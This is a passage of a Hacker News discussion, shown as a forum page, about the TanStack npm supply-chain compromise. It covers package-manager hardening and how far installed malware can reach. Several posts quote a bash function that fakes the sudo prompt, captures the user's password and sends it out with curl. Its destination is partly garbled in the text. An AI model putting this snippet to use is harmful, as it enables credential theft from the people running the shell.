Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Postmortem: TanStack NPM supply-chain compromise

tanstack.com

Post reply on HN
Print view View original

191–200 of 501 posts

Re: Postmortem: TanStack NPM supply-chain compromise

#191

Post by nazcan »

lrvick wrote: post #179
eqvinox wrote: post #158

Earlier quoted context omitted.

[On Linux:] If you didn't give yourself "free" (passwordless) sudo, that's not necessary… …unless it happened in a week with 2 and a half Linux kernel LPEs.

Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }

To clarify, when does this run? Like you download malware A, run malware A and this function definition changes sudo for it, or sudo for other cases?

Re: Postmortem: TanStack NPM supply-chain compromise

#192

Post by makingstuffs »

makingstuffs wrote: post #145

I've got claude to throw this together to try an help stem the flow. Obviously verify yourself but it will scan your machine to try and find any of the mentioned compromised packages: https://github.com/PaulSinghDev/tanstack-shai-hulud-fix

Not sure why the downvotes, it’s a quick tool? Yes it’s a ‘vibe code’ but it’s better than nothing and at least will flag if you need to do anything — verified myself.

Re: Postmortem: TanStack NPM supply-chain compromise

#193

Post by lrvick »

nazcan wrote: post #191
lrvick wrote: post #179

Earlier quoted context omitted.

Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }

To clarify, when does this run? Like you download malware A, run malware A and this function definition changes sudo for it, or sudo for other cases?

This could for instance be injected into your .bashrc when you do an "npm install" of a package that has a deeply nested supply chain attack.

Then the next time you run sudo, phase2 triggers installing a rootkit, etc.

Re: Postmortem: TanStack NPM supply-chain compromise

#194

Post by lrvick »

Gigachad wrote: post #162
eqvinox wrote: post #158

Earlier quoted context omitted.

[On Linux:] If you didn't give yourself "free" (passwordless) sudo, that's not necessary… …unless it happened in a week with 2 and a half Linux kernel LPEs.

On linux realistically whatever user you installed the malicious NPM package with has access to everything you care about anyway.

Every user, since privesc is so easy on most operating systems.

Re: Postmortem: TanStack NPM supply-chain compromise

#195

Post by consumer451 »

loginatnine wrote: post #180

https://github.com/opensearch-project/opensearch-js/issues/1... The worm is spreading...

> This commit does not belong to any branch on this repository, and may belong to a fork outside of this repository.

My naive private repo enjoying take: wt wtf?

I understand why this needs to be a thing, maybe... but I am so glad that I am nowhere near maintaining a public repo.

Re: Postmortem: TanStack NPM supply-chain compromise

#196

Post by Gigachad »

lrvick wrote: post #194
Gigachad wrote: post #162

Earlier quoted context omitted.

On linux realistically whatever user you installed the malicious NPM package with has access to everything you care about anyway.

Every user, since privesc is so easy on most operating systems.

Sure, without exploits they can steal your api keys, read your personal data, and access your browser data. With exploits they can update packages on your computer too.

Re: Postmortem: TanStack NPM supply-chain compromise

#197

Post by [deleted] »

fabian2k wrote: post #46
chrisweekly wrote: post #40

Postinstall scripts are deadly. Everyone should be using pnpm. Crazy that an "orphan" commit pushed to a FORK(!) could trigger this (in npm clients). IMO GitHub deserves much of the blame here. A malicious fork's commits are reachable via GitHub's shared object storage at a URI indistinguishable from the legit repo. That is absolutely bonkers.

Once you run your app with the updated dependencies, that code is executed anyway. And root or non-root doesn't matter, the important stuff is available as the user running the application anyway.

[deleted]

Re: Postmortem: TanStack NPM supply-chain compromise

#199

Post by jdxcode »

gajus wrote: post #13

Reminder to secure your npm environments. https://gajus.com/blog/3-pnpm-settings-to-protect-yourself-f... Just a handful of settings to save a whole lot of trouble.

In aube you get all this out of the box plus a lifecycle jail (next MV will have that on by default) and defaults to trustPolicy=no-downgrade (would not have helped here but still a good default).

It has the strongest security posture of any node pm.

https://aube.en.dev/security.html#jailed-lifecycle-scripts

Re: Postmortem: TanStack NPM supply-chain compromise

#200

Post by nullsanity »

lrvick wrote: post #179
eqvinox wrote: post #158

Earlier quoted context omitted.

[On Linux:] If you didn't give yourself "free" (passwordless) sudo, that's not necessary… …unless it happened in a week with 2 and a half Linux kernel LPEs.

Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }

[dead]
Post reply on HN